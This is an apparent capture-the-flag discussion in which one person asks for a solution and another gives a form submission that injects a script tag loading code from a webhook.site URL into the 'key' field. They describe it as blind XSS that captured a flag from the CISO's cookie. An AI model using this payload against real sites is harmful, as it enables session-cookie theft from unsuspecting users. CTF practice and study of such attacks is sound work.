Any solution for this?
XSS?

firstname=asdfasdfasdf&lastname=asdfadsfasdf&email=a&key=<script+src=https://webhook.site/d6aed7b7-7c70-420d-af83-3c4dcb9d7b43?bod></script>&phone=asdfasdf&message=asdfadsf

blind XSS, flag was in the cookie of the CISO